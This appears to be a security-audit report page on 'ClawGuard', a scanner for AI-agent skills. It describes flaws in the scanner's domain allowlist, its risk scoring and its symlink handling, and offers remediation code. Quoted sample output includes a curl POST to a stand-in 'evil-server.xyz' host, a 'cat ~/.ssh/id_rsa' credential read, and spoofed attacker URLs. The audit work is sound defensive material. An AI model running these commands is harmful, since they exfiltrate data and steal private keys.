Back to skill

Security audit

Skill Guard Pro

Security checks for vulnerabilities and agentic risk

Overview

ClawGuard is a disclosed skill scanner, but its own scanner logic has flaws that can falsely mark risky skills as safe and can read outside a selected scan directory through symlinks.

Install only with review. The skill does not show evidence of theft, persistence, or destructive behavior, but do not rely on its SAFE result as a security decision until the allowlist matching, scoring gates, and symlink containment issues are fixed. Run it on untrusted skill directories only in a contained environment and manually inspect any downloaded or scanned skill before installation.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
lib/patterns.py:222
Finding
Attacker-Controlled Domains Can Bypass the Safe-Domain Check<![CDATA[ ## Vulnerability Details **File Location**: `lib/patterns.py:222-229` **Vulnerability Type**: Improper hostname allowlist validation **Risk Level**: High ### Vulnerable Code ```python def is_safe_domain(url: str) -> bool: """Check if URL domain is in whitelist""" from urllib.parse import urlparse try: domain = urlparse(url).netloc return any(safe in domain for safe in SAFE_DOMAINS) except: return False ``` ### Technical Analysis The scanner determines whether a network endpoint is trusted by checking whether an allowlisted string appears anywhere in the parsed `netloc`. Substring matching does not establish that the endpoint is the allowlisted host. For example, the following attacker-controlled hostnames would be incorrectly classified as safe: - `api.openai.com.attacker.example` - `notapi.github.com` - `clawhub.com.evil.example` The use of `netloc` also includes optional user-information and port components. Host validation should instead use the normalized `urlparse(url).hostname` value and enforce exact hostname or deliberate subdomain-boundary matching. This flaw directly undermines the scanner's declared endpoint-safety feature. Although it does not itself send sensitive data, it can falsely assure users that an attacker-controlled exfiltration endpoint is known to be safe. ### Attack Path 1. An attacker publishes a skill containing a request to an attacker-controlled URL such as `https://api.openai.com.attacker.example/collect`. 2. A user scans the skill with ClawGuard. 3. `extract_urls()` extracts the malicious URL. 4. `is_safe_domain()` parses its network location. 5. The expression `"api.openai.com" in "api.openai.com.attacker.example"` evaluates to true. 6. The report labels the malicious endpoint as `known safe`. 7. The user may install the skill based on this misleading trust indication. 8. When invoked, the malicious skill can send any data available to it to the attacker's server. ### ...[truncated 538 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Use the parsed hostname rather than `netloc`, normalize it, and require a hostname-boundary-safe comparison: ```python from urllib.parse import urlparse def is_safe_domain(url: str) -> bool: try: hostname = urlparse(url).hostname if not hostname: return False hostname = hostname.rstrip(".").lower() for safe_domain in SAFE_DOMAINS: safe_domain = safe_domain.rstrip(".").lower() if hostname == safe_domain: return True # Enable this only where subdomains are explicitly trusted. if hostname.endswith("." + safe_domain): return True return False except (TypeError, ValueError): return False ``` Additional hardening should include: 1. Decide separately for each allowlisted domain whether subdomains are trusted. 2. Convert internationalized domain names to a canonical IDNA representation before comparison. 3. Reject malformed URLs and URLs without a hostname. 4. Add regression tests for suffix spoofing, prefix spoofing, user-information, ports, trailing dots, mixed case, and internationalized hostnames. 5. Treat allowlist status only as contextual information, not as evidence that a request is harmless. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
lib/analyzer.py:226
Finding
High-Severity Network Exfiltration Can Be Classified as SAFE<![CDATA[ ## Vulnerability Details **File Location**: `lib/patterns.py:19-27`; `lib/analyzer.py:226-249` **Vulnerability Type**: Unsafe risk-scoring and classification logic **Risk Level**: High ### Vulnerable Code The external HTTP POST signature is marked `HIGH` but receives a weight of only 25: ```python NETWORK_PATTERNS = [ Pattern( name="external_http_post", category="network", severity="HIGH", weight=25, regex=r"(fetch|axios|request|curl|wget).*(POST|post).*http[s]?://", description="HTTP POST to external URL (potential data exfiltration)" ), ``` The resulting score is classified as `SAFE` when it is 30 or lower: ```python def _calculate_risk_score(self) -> int: """Calculate risk score (0-100)""" if not self.findings: return 0 # Sum weighted scores total_weight = sum( f.weight * SEVERITY_WEIGHTS[f.severity] for f in self.findings ) # Cap at 100 return min(100, int(total_weight)) def _get_risk_level(self, score: int) -> str: """Get risk level from score""" if score <= 30: return "SAFE" elif score <= 60: return "CAUTION" else: return "DANGEROUS" ``` ### Technical Analysis A single finding for an external HTTP POST has the following score: ```text 25 × 1.0 (HIGH severity multiplier) = 25 ``` Because `_get_risk_level()` classifies every score at or below 30 as `SAFE`, a skill matching ClawGuard's explicit high-severity exfiltration signature can still receive a SAFE result and the recommendation that it “appears safe to install.” The scoring model therefore allows additive score thresholds to override the semantic severity of a confirmed finding. The issue is particularly significant because network exfiltration detection is one of the scanner's primary declared security functions. ### Attack Path 1. An attacker publishes a skill containing one external HTTP POST that matches `external_http_post`. ...[truncated 1080 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Do not allow an additive score to downgrade high-confidence critical findings. Introduce severity gates before applying numerical thresholds: ```python def _get_risk_level(self, score: int) -> str: critical_patterns = { "external_http_post", "credential_file_read", "shell_injection_risk", } if any( finding.pattern_name in critical_patterns for finding in self.findings ): return "DANGEROUS" if any(finding.severity == "HIGH" for finding in self.findings): return "CAUTION" if score <= 30: return "SAFE" if score <= 60: return "CAUTION" return "DANGEROUS" ``` The final policy should be calibrated against documented threat scenarios. At minimum: 1. A `HIGH` finding must never produce a SAFE result. 2. A high-confidence exfiltration or credential-theft finding should produce DANGEROUS regardless of the aggregate score. 3. Distinguish confidence from impact instead of encoding both in one number. 4. Deduplicate overlapping regex and AST findings before scoring. 5. Add tests proving that every individual HIGH pattern produces at least CAUTION. 6. Add a test proving that one `external_http_post` finding cannot result in SAFE. 7. Avoid presenting “appears safe to install” solely from a low aggregate score when significant findings remain. ]]>

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
lib/analyzer.py:80
Finding
Scanning an Untrusted Directory Can Follow File Symlinks Outside the Skill Root<![CDATA[ ## Vulnerability Details **File Location**: `lib/analyzer.py:80-110` **Vulnerability Type**: Unrestricted symlink traversal during file scanning **Risk Level**: Medium ### Vulnerable Code ```python files = [] for root, dirs, filenames in os.walk(self.skill_path): # Skip common ignore directories dirs[:] = [d for d in dirs if d not in { 'node_modules', '.git', '__pycache__', '.venv', 'venv', 'dist', 'build' }] for filename in filenames: file_path = Path(root) / filename # Check extension or no extension (scripts) if file_path.suffix in extensions or not file_path.suffix: files.append(file_path) # Check for hidden files if filename.startswith('.') and filename not in {'.gitignore', '.npmignore'}: self._add_finding( file_path=file_path, line_number=0, pattern_name="hidden_file", category="hidden_file", severity="LOW", weight=10, description=f"Hidden file detected: {filename}", code_snippet="", ) return files def _analyze_file(self, file_path: Path): """Analyze a single file""" try: content = file_path.read_text(encoding='utf-8', errors='ignore') except Exception as e: # Skip unreadable files return ``` ### Technical Analysis The scanner accepts candidate files based on their apparent path and suffix, then opens them with `Path.read_text()`. It does not reject symbolic links or resolve the final target and verify that the target remains inside `self.skill_path`. A malicious local skill directory can therefore contain a file symlink with a scannable extension that points to a readable file outside the selected skill root. `read_text()` follows the symlink and analyzes the external target. Although `os.walk()` does not follow directory symlinks by default, that does not prevent ...[truncated 1631 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Reject symbolic links by default and verify resolved-path containment immediately before opening each file: ```python def _is_contained_regular_file(self, file_path: Path) -> bool: try: if file_path.is_symlink(): return False root = self.skill_path.resolve(strict=True) resolved = file_path.resolve(strict=True) resolved.relative_to(root) return resolved.is_file() except (OSError, RuntimeError, ValueError): return False ``` Use that validation both when collecting files and immediately before reading them: ```python if not self._is_contained_regular_file(file_path): return content = file_path.read_text(encoding="utf-8", errors="ignore") ``` Further hardening should include: 1. Reject symlinks in downloaded archives or packages before analysis. 2. Perform containment checks against `skill_path.resolve(strict=True)`. 3. Revalidate immediately before opening to reduce time-of-check/time-of-use risk. 4. Where stronger guarantees are required, open files using descriptor-relative APIs and no-follow semantics such as `O_NOFOLLOW`. 5. Impose per-file and total scan-size limits to prevent resource exhaustion from special or unexpectedly large files. 6. Add tests for file symlinks targeting files inside and outside the scan root. 7. Ensure reports do not include unnecessary source content from files that fail containment validation. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (9)

Credential Access

High
Category
Privilege Escalation
Content
Code: const key = process.env.OPENAI_API_KEY

4. [MED]  scripts/run.sh:8 — Reads credential files
   Code: cat ~/.ssh/id_rsa

5. [LOW]  .hidden-config — Hidden file detected: .hidden-config
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The declared description says the skill is a security scanner that analyzes skills before installation. This code chunk does not perform any scanning or analysis; instead, it only downloads a skill using the `clawhub` CLI and manages temporary storage/cleanup. While downloading could support a scanner, the actual behavior shown here is materially different from the declared purpose because the code implements acquisition of skills rather than security analysis itself. No malicious behavior is evident, but the description does not accurately represent this code chunk's functionality.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description says this skill is a security scanner for ClawHub skills, intended to analyze skills before installation. The supplied code does not implement scanning, analysis, detection logic, or any ClawHub-specific behavior. Instead, it defines two generic helper functions: one reads JSON from a file path and one formats data as indented JSON. This is a materially different primary purpose. Additionally, the code accesses local files, which is an undeclared capability relative to the empty permissions list. Therefore, the description does not accurately represent the actual behavior.

External Transmission

Medium
Category
Data Exfiltration
Content
⚠️  Issues Found (5):

1. [HIGH] scripts/run.sh:14 — curl command to external URL
   Code: curl -X POST https://evil-server.xyz/collect -d "$DATA"

2. [HIGH] lib/helper.js:23 — Dynamic code execution (eval) - code injection risk
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Lp3

Medium
Category
MCP Least Privilege
Confidence
85% confidence
Finding
The skill advertises and documents capabilities that involve reading local paths, invoking `uv`, and optionally downloading skills via `clawhub`, but it does not declare any explicit tool scope such as permissions or allowed-tools. This creates a trust and review gap: installers cannot easily see that file access, shell execution, and network-related behavior are expected, which increases the risk of over-privileged or surprising execution.

Autonomous Decision Making

Medium
Category
Excessive Agency
Content
1. **Always scan before installing** untrusted skills
2. **Review CAUTION-level findings** manually
3. **Check network endpoints** for unknown domains
4. **Never install DANGEROUS skills** without verification
5. **Report suspicious skills** to ClawHub moderators

## License
Confidence
75% confidence
Finding
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
try:
            # Download using clawhub CLI
            result = subprocess.run(
                ["clawhub", "download", skill_name, "--no-install"],
                cwd=temp_dir,
                capture_output=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
def _has_clawhub_cli() -> bool:
        """Check if clawhub CLI is installed"""
        try:
            result = subprocess.run(
                ["clawhub", "--version"],
                capture_output=True,
                timeout=5,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Missing User Warnings

Medium
Confidence
98% confidence
Finding
The whitelist check uses substring matching (`any(safe in domain for safe in SAFE_DOMAINS)`), so attacker-controlled hosts like `api.github.com.evil.com` or `evilapi.openai.com` can be incorrectly treated as trusted. In a security scanner, this is especially risky because it can suppress or downgrade warnings for malicious network destinations, undermining the tool's core trust decision.

Static analysis

Detected: suspicious.dynamic_code_execution

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
lib/analyzer.py:147